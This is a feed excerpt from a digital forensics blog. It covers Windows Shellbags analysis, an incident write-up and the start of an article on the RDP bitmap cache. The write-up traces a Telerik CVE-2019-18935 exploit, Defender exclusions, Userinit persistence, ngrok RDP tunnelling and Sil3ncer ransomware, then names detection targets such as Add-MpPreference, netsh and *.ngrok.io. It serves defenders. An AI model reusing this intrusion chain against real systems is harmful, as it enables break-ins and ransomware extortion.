&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/06-9336b615.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/06-9336b615.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/06-9336b615.webp 2208w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/06-9336b615.webp&quot; alt=&quot;Figure 6: Shellbag Details&quot; width=&quot;2208&quot; height=&quot;563&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 6: Shellbag Details&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/07-b62ac829.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/07-b62ac829.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/07-b62ac829.webp 6744w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/07-b62ac829.webp&quot; alt=&quot;Figure 7: Bag Path&quot; width=&quot;6744&quot; height=&quot;367&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 7: Bag Path&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;breaking-the-bag-path-down&quot;&gt;Breaking the bag path down&lt;/h2&gt;
&lt;p&gt;The bag path in a Shellbag entry shows the hierarchical structure of folders the user has interacted with. Each number in the path corresponds to a subkey in the BagMRU registry tree, which points to a specific folder or directory.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BagMRU is the root key that holds the hierarchical metadata for the folder interactions&lt;/li&gt;
&lt;li&gt;Corresponding numbers – in this case \1\1\6\0\0\0\0\0 shows the sequence of subkeys under the BagMRU key. The trailing 00 00 00 00 groups are null terminators, marking the end of the path.&lt;/li&gt;
&lt;li&gt;MRU Position: A value of 0 usually means this was the most recently accessed folder within its parent. The MRUListEx value orders items like a linked list, showing the sequence of access.&lt;/li&gt;
&lt;li&gt;Node Slot: 271: Refers to a specific location in the Bags registry key where additional folder settings are stored e.g. timestamps and view modes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These fields allow investigators not just to pinpoint what folder was opened, but also to reconstruct the path taken to that folder. This enables analysts to build a trail of user navigation; reconstructing how a user moved through Windows Explorer.&lt;/p&gt;
&lt;p&gt;The NodeSlot integer links a BagMRU subkey to its corresponding view settings. If the NodeSlot key exists and contains a Shell or ComDlg subkey, it is likely that the folder was visually rendered in Explorer.&lt;/p&gt;
&lt;h2 id=&quot;looking-under-the-hood&quot;&gt;Looking under the hood&lt;/h2&gt;
&lt;p&gt;While GUI tools like Zimmerman’s are great, Shellbags themselves are stored as binary structures within registry hives. These binary blobs follow the ITEMIDLIST format, which contains metadata about folder interactions. Here is an example of a BagMRU entry:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/08-7fc3826d.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/08-7fc3826d.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/08-7fc3826d.webp 1853w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/08-7fc3826d.webp&quot; alt=&quot;Figure 8: Hex Breakdown&quot; width=&quot;1853&quot; height=&quot;285&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 8: Hex Breakdown&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Breaking this down:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;“14 00” – The size of the ITEMID entry (20 bytes)&lt;/p&gt;
&lt;p&gt;“1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D 19 00 00 00 “- Shell item header (identifies a folder object)&lt;/p&gt;
&lt;p&gt;“5C 00 53 00 65 00 63 00 72 00 65 00 74 00 2E 00 7A 00 69 00 70 00” – UTF-16 string representing of \Secret.zip.&lt;/p&gt;
&lt;p&gt;“00 00”- Null terminator.&lt;/p&gt;
&lt;p&gt;Below is a snippet from &lt;a href=&quot;https://cyberchef.io/&quot;&gt;CyberChef&lt;/a&gt; showing the decoded UTF-16 string representing Secret.zip.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/09-600fc390.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/09-600fc390.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/09-600fc390.webp 1179w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/09-600fc390.webp&quot; alt=&quot;Figure 9: Decoded Hex&quot; width=&quot;1179&quot; height=&quot;1488&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 9: Decoded Hex&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;From this, even though the folder and ZIP were deleted, we can still confirm that the user browsed into a folder containing Secret.zip.&lt;/p&gt;
&lt;h2 id=&quot;where-else-are-they&quot;&gt;Where else are they?&lt;/h2&gt;
&lt;p&gt;It’s not just folders you have created on your local machine, what if someone connects an external device to their machine and browsers folders stored on that external device, or if someone accesses folders in a network location?&lt;/p&gt;
&lt;p&gt;Well, accessing folders on your Windows device, wherever that might be will create shellbag entries. Let’s say I am looking to exfiltrate some sensitive files via SMB share using Windows Explorer;&lt;/p&gt;
&lt;p&gt;In that case, Shellbags will log the folder traversal, although it is worth noting that most attacker driven SMB exfiltration is carried out with command line tools like robocopy or scripts, which bypass Explorer and leave no Shellbag trail, meaning it is especially important to recognise when Shellbags exist and that their absence may be just as revealing.&lt;/p&gt;
&lt;p&gt;Let’s say files have been stored in a folder named ‘Very Sensitive Files’, that is now deleted – can we still evidence that a user has accessed that specific folder?&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/10-9932d3bc.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/10-9932d3bc.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/10-9932d3bc.webp 2681w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/10-9932d3bc.webp&quot; alt=&quot;Figure 10: Network Drive Shellbags&quot; width=&quot;2681&quot; height=&quot;513&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 10: Network Drive Shellbags&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/11-295a4cc6.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/11-295a4cc6.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/11-295a4cc6.webp 1978w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/11-295a4cc6.webp&quot; alt=&quot;Figure 11: Further Information&quot; width=&quot;1978&quot; height=&quot;464&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 11: Further Information&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Moving on from Shellbags discovered from a network location, what about an external device that has been connected, or a drive location that once contained data but is no longer existent?&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/12-4427afe6.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/12-4427afe6.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/12-4427afe6.webp 1554w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/12-4427afe6.webp&quot; alt=&quot;Figure 12: MemProcFS Drive Shellbags&quot; width=&quot;1554&quot; height=&quot;787&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 12: MemProcFS Drive Shellbags&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/13-92c3ba06.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/13-92c3ba06.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/13-92c3ba06.webp 1534w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/13-92c3ba06.webp&quot; alt=&quot;Figure 13: Drive Traversed&quot; width=&quot;1534&quot; height=&quot;581&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 13: Drive Traversed&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;When performing memory forensics, MemProcFS is a useful tool that allows an analyst to mount a memory image and simply traverse through the image as if it was a connected device. Now, in relation to Shellbags – this memory image was mounted via MemProcFS and has since been disconnected – but Shellbags allows us to see exactly what folders were interacted with and when.&lt;/p&gt;
&lt;h2 id=&quot;limitations-of-shellbags&quot;&gt;Limitations of Shellbags&lt;/h2&gt;
&lt;p&gt;Although useful, there are limitations to Shellbags, mainly that they only record folder level interactions and not specific file accesses. These artifacts can also be lost if a user profile is deleted as it sits within the user registry hives. Like many other forensic artifacts, Shellbags should be paired with other artifacts to build a comprehensive timeline of user activity.&lt;/p&gt;
&lt;p&gt;It is also worth noting that Shellbags are only updated when a user views folders or zip archives through Windows Explorer, or through an open/save dialog.&lt;/p&gt;
&lt;p&gt;If a user traverses through the folders using the command line or through PowerShell, those Shellbags will never appear, because those tools bypass the explorer shell, meaning they don’t trigger Shellbag updates.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/14-589793db.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/14-589793db.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/14-589793db.webp 1527w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/14-589793db.webp&quot; alt=&quot;Figure 14: PowerShell Navigation&quot; width=&quot;1527&quot; height=&quot;553&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 14: PowerShell Navigation&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;As well as this, browsing the file system through a web browser, will prevent Shellbags from being generated; the image below shows how I can navigate to my downloads folder, through a web browser, without ever generating any Shellbag entries.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/15-f1269e8f.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/w800/15-f1269e8f.webp 800w, https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/15-f1269e8f.webp 1870w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/dfir-tools-and-techniques-for-tracing-user-footprints-through-shellbags/15-f1269e8f.webp&quot; alt=&quot;Figure 15: Browser File System Traversal&quot; width=&quot;1870&quot; height=&quot;533&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 15: Browser File System Traversal&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;correlation-with-other-artefacts&quot;&gt;Correlation with other artefacts&lt;/h2&gt;
&lt;p&gt;Shellbags rarely tell the whole story on their own. To build a comprehensive timeline, you will want to correlate what you see here with other Windows artifacts. For example, the $MFT and USN Journal can confirm not just the existence of those folders, but when they were created or deleted.&lt;/p&gt;
&lt;p&gt;Forensic artefacts like Prefetch can help you tie the browsing of a folder directly to the execution of files inside it, turning folder access into evidence of program use. If you suspect data left via an SMB share, SRUM artifacts can show you network volume that may strengthen your case for exfiltration. Jump Lists and RecentDocs can add another layer, demonstrating that the user didn’t just look inside a folder but also interacted with its contents.&lt;/p&gt;
&lt;p&gt;Conclusion&lt;/p&gt;
&lt;p&gt;Shellbags remain one of the DFIR analyst’s favourite artifacts, they’re subtle, persistent and often overlooked by attackers trying to cover their tracks. They can help depict a user’s journey through local drives, external drives and network shares, as well as zip folder access. However, as with any forensic artifact, they are not perfect and should be corroborated with other artifacts to join the dots. Shellbags should be treated as one small piece of a very large puzzle.&lt;/p&gt;
&lt;h2 id=&quot;tools-used&quot;&gt;Tools Used:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sans.org/tools/shellbags-explorer&quot;&gt;ShellBag Explorer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cyberchef.io/&quot;&gt;CyberChef&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;RegEdit&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>Windows Forensics</category><category>shellbags</category><category>registry</category><category>user activity</category></item><item><title>Sil3ncer Deployed – RCE, Porn Diversion, and Ransomware on an SFTP-only Server</title><link>https://jwdfir.com/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/</link><guid isPermaLink="true">https://jwdfir.com/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/</guid><description>Incident write-up: a Telerik RCE on an SFTP-only server led to persistence, ngrok tunnelling and Sil3ncer ransomware, with lessons for defenders.</description><pubDate>Fri, 11 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;What started as simple exploitation of a vulnerability from 2019…&lt;/li&gt;
&lt;li&gt;…went from RCE to persistence to tunnelling to clean up.&lt;/li&gt;
&lt;li&gt;With a diversionary (or celebratory?) visit to Pornhub along the way.&lt;/li&gt;
&lt;li&gt;What you can learn to improve your detection, logging, and hardening strategy.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;We investigated a ransomware incident on a Windows Server 2012 host running in an SFTP-only role. The attacker delivered an attack that combined remote code execution, persistence, tunnelling, and a diversionary visit to Pornhub, before launching a ransomware payload.&lt;/p&gt;
&lt;h2 id=&quot;background--scope&quot;&gt;Background &amp;amp; scope&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Environment: Windows Server 2012, SFTP only, SSH open, RDP closed by network policy.&lt;/li&gt;
&lt;li&gt;Protection Baseline: Default Windows Defender and default event log sizes.&lt;/li&gt;
&lt;li&gt;Objective: Identify how the attacker got in and what occurred whilst they were in.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;an-easy-way-in&quot;&gt;An easy way in&lt;/h2&gt;
&lt;p&gt;The compromised server was running a Telerik UI for ASP.NET AJAX version 2016.1.225.45, which is vulnerable to CVE-2019-18935, a critical remote code execution vulnerability.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/01-b31dc244.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/w800/01-b31dc244.webp 800w, https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/01-b31dc244.webp 1033w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/01-b31dc244.webp&quot; alt=&quot;Figure 1: Telerik Version&quot; width=&quot;1033&quot; height=&quot;439&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 1: Telerik Version&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;This version lacks mitigations introduced in later releases, including proper request validation and handler protections. This allows unauthenticated attackers to upload and execute arbitrary files via the AsyncUploadHandler.&lt;/p&gt;
&lt;p&gt;Separated by around 12 days, InvalidCastException was observed in the application logs, the culprit was a request from the same external IP, which was flagged as malicious, targeting Telerik’s AsyncUploadHandler, which allowed the attacker to gain access.&lt;/p&gt;
&lt;p&gt;The attacker dropped a file named ‘wondershare.tmp.tmp’ into the temp folder. The file threw an error, requesting a missing DLL. Almost immediately PowerShell logs showed this DLL was fetched using PowerShell, and Defender exclusions were put in place. vcruntime140.dll was grabbed from a malicious domain controlled by the attacker using a quick DownloadFile() call.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/02-48c9ddbd.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/w800/02-48c9ddbd.webp 800w, https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/02-48c9ddbd.webp 1168w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/02-48c9ddbd.webp&quot; alt=&quot;Figure 2: DownloadFile call&quot; width=&quot;1168&quot; height=&quot;146&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 2: DownloadFile call&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;These exclusions meant anything that matched the above would be undetected by Defender; any temp files, any executables and anything stored in the temp folder. With remote code execution and AV detection out of the way, the adversary had full file system access, with no credentials required.&lt;/p&gt;
&lt;h2 id=&quot;establishing-foothold&quot;&gt;Establishing foothold&lt;/h2&gt;
&lt;p&gt;With tools, access, and exclusions in place, it was then time for the attacker to get comfortable. They quickly created a new local admin account under the name: Depeloyadmin. Notice the spelling mistake?&lt;/p&gt;
&lt;p&gt;Now they have their backdoor account, how did they establish persistence? The Winlogon Userinit key was modified to run a rogue userinit.exe from the temp folder, and a firewall rule for “Remote Desktop – User Mode (TCPIn)” appeared, and port 3389 started listening soon after.&lt;/p&gt;
&lt;h2 id=&quot;reconnaissance--reentry&quot;&gt;Reconnaissance &amp;amp; reentry&lt;/h2&gt;
&lt;p&gt;After ten days of ‘sil3nce’, the attacker struck again. The same Telerik RCE exploit was triggered, this time the attacker brought some tools with them.&lt;/p&gt;
&lt;p&gt;The threat actor dropped a tunnelling client, Ngrok.exe. This was loaded in memory, with an .ngrok2 config folder, with registry edits made for the proxy setup.&lt;/p&gt;
&lt;p&gt;Remember the firewall rule for Remote Desktop – User Mode (TCPIn)?, this was put in place for their return, specifically for RDP over loopback. They initiated an RDP session from ::1 under the Depeloyadmin account, confirming remote hands-on access.&lt;/p&gt;
&lt;p&gt;Network graphs showed a 90MB outbound spike over two hours, consistent with expected RDP bandwidth while they were active.&lt;/p&gt;
&lt;h2 id=&quot;ransom-notes-pornography-and-encryption&quot;&gt;Ransom notes, pornography, and encryption&lt;/h2&gt;
&lt;p&gt;Once the attacker had full interactive access via RDP, things moved quickly.&lt;/p&gt;
&lt;p&gt;They kicked things off by dropping a file called sil3ncer.json into the temp folder. This held everything the ransomware needed to get going, including command and control endpoints, file paths to target and unique identifiers for the victim.&lt;/p&gt;
&lt;p&gt;Almost immediately the encryption began. Thousands of files across the system were renamed with a .sil3ncer extension, it was quick and deliberate. There was no sign of exfiltration, just chaos, in the hope that the end user would pay the ransom to have their files decrypted.&lt;/p&gt;
&lt;p&gt;To round things off, they dropped ransom notes called &lt;em&gt;SORRY-FOR-FILES.txt&lt;/em&gt; into folders like the root drive and Program Files. The message was blunt, instructing the user to get in touch via Telegram if they wanted to see their files again. No websites, no portals, just a direct line to the attacker.&lt;/p&gt;
&lt;p&gt;Browser forensics also revealed some interesting findings seconds after the in-memory sil3ncer.json config file was dropped and seconds before the ransomware began encrypting files and dropping ransom notes. We pulled cache entries, cookies, favicons and session tabs to confirm a quick visit to Pornhub, which likely served to mask the tunnel traffic, or maybe the threat actor had a moment of excitement that their ransomware deployment was underway.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/03-718c9b29.webp&quot; alt=&quot;Figure 3: Pornhub Favicon&quot; width=&quot;888&quot; height=&quot;247&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 3: Pornhub Favicon&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/04-1466b36c.webp&quot; alt=&quot;Figure 4: Chrome Web Session&quot; width=&quot;892&quot; height=&quot;201&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 4: Chrome Web Session&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;cleanup--exit&quot;&gt;Cleanup &amp;amp; exit&lt;/h2&gt;
&lt;p&gt;To erase footprints, the attacker executed a cleanup script named clear.bat from the Desktop, which was evidenced by ShimCache and UserAssist artefacts.&lt;/p&gt;
&lt;p&gt;The attacker also deleted the rogue Depeloyadmin account via Control Panel, ShellBag artefacts showed the threat actor traversing to this location before the account was then deleted.&lt;/p&gt;
&lt;p&gt;Once that was done, they logged off RDP, leaving minimal on-disk‑ logs due to default size caps and cleanup. Below shows an image of the desktop post encryption, displaying the cleanup script and the ransom note mentioned earlier.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/sil3ncer-deployed-rce-porn-diversion-and-ransomware-on-an-sftp-only-server/05-66d2e466.webp&quot; alt=&quot;Figure 5: Affected Desktop&quot; width=&quot;815&quot; height=&quot;449&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 5: Affected Desktop&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;lessons-learned--recommendations&quot;&gt;Lessons learned &amp;amp; recommendations&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What could have been done to avoid this incident?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patch third-party components:&lt;/strong&gt; Attackers love old, forgotten software. Vulnerabilities like the Telerik one used in this case have been public for years, yet they still get results. Regularly patching third-party components is one of the easiest ways to protect yourself from these types of attacks. If you’re running something like Telerik UI, check what version you’re on and update it. Don’t just patch the OS and assume you’re safe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Harden your logging&lt;/strong&gt;: In this case, key events were overwritten before they could even be reviewed. Increase the size of your Windows event logs and look at forwarding logs off the host. If logs are the first thing to disappear during an attack, make them harder to wipe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Detect suspicious commands:&lt;/strong&gt; The attacker used a handful of known commands to disable antivirus and open firewall rules. Keep an eye out for PowerShell commands like Add-MpPreference, and anything that tampers with the firewall using netsh.exe. Even basic alerting on these can catch early stages of an attack.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Block tunnelling services&lt;/strong&gt;: Ngrok was used here to bypass network restrictions and open RDP access. If you’re not using tunnelling services internally, there’s no reason they should be allowed. Block domains like *.ngrok.io at your DNS or firewall layer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lock down RDP properly:&lt;/strong&gt; In this case, RDP was disabled by network policy, but that didn’t stop the attacker. They found a way around it using something called RDP loopback. Once they had local admin access, they enabled RDP on the host itself, then set up a tunnelling tool (Ngrok) that forwarded a local port to the outside world. When they connected back in, it looked like the RDP session was coming from the local machine (::1), so it bypassed any network-level restrictions.&lt;/p&gt;
&lt;p&gt;Blocking RDP at the perimeter isn’t enough if attackers can re-enable it from the inside. If remote access is needed, route it through a hardened jump host with strong access controls and MFA. And if it’s not needed, disable it at the service level, not just the network.&lt;/p&gt;
&lt;p&gt;And while we’re on the topic of remote access hygiene, yes, the attacker really did visit Pornhub from the compromised SFTP server. Was it to camouflage tunnel traffic, or was it just because they could? Either way, if your ransomware incident comes with a side order of porn, you’ve got bigger problems.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This case shows how an old ASP.NET flaw can still provide a foothold for handsonkeyboard attackers. By combining exploitation, Defender exclusions, covert tunnelling and encryption, the threat actor caused chaos. With proper patch management, logging, and network controls, organisations can tighten security before they experience fullscale breaches.&lt;/p&gt;
&lt;p&gt;One final takeaway, if your forensic timeline includes Pornhub on a server that was supposed to just handle SFTP, it might be time to review your outbound rules, because your SFTP server shouldn’t be working overtime as a streaming client.&lt;/p&gt;
&lt;p&gt;Patch early, log often, and never underestimate an attacker’s creativity… or their browser history.&lt;/p&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>Incident Response</category><category>ransomware</category><category>case study</category><category>Linux</category></item><item><title>The remote desktop puzzle. DFIR techniques for dealing with RDP Bitmap Cache</title><link>https://jwdfir.com/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/</link><guid isPermaLink="true">https://jwdfir.com/articles/the-remote-desktop-puzzle-dfir-techniques-for-dealing-with-rdp-bitmap-cache/</guid><description>How the RDP bitmap cache can reconstruct a remote session when logs are gone, using BMC-Tools and RDPCacheStitcher to rebuild screen activity.</description><pubDate>Thu, 01 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;How RDP Bitmap Cache can reveal user activity&lt;/li&gt;
&lt;li&gt;No RDP logs? How can we reconstruct RDP activity?&lt;/li&gt;
&lt;li&gt;How cached tiles can uncover insider threats&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;A lot of people are aware of RDP and what its functions are. It’s known for providing remote access and making life easier for administrators and users. With that comes insight for forensic investigators, regarding the ‘bitmap cache’. This is often overlooked, but when analysed correctly can provide some great understanding about what’s happened on a system.&lt;/p&gt;
&lt;p&gt;What does that look like? Let’s say a threat actor has gained access to a system via RDP. They’ve then attempted to cover their tracks by wiping traditional RDP artefacts left behind such as logs, but the lesser-known bitmap cache can still hold valuable clues.&lt;/p&gt;
&lt;p&gt;In this blog post, we’ll explore the DFIR techniques for digging into the RDP bitmap cache to reveal what was on the screen, even after the user has gone.&lt;/p&gt;
&lt;h2 id=&quot;what-is-the-rdp-bitmap-cache-and-how-does-it-work&quot;&gt;What is the RDP Bitmap Cache, and how does it work?&lt;/h2&gt;
&lt;p&gt;Like many other tools and browsers RDP optimizes performance by caching screen elements locally on the machine. Instead of repeatedly reproducing static icons, backgrounds etc. RDP stores these as small tiles in the bitmap cache. These tiles persist even after remote desktop disconnection, which creates a cached record of remote sessions.&lt;/p&gt;
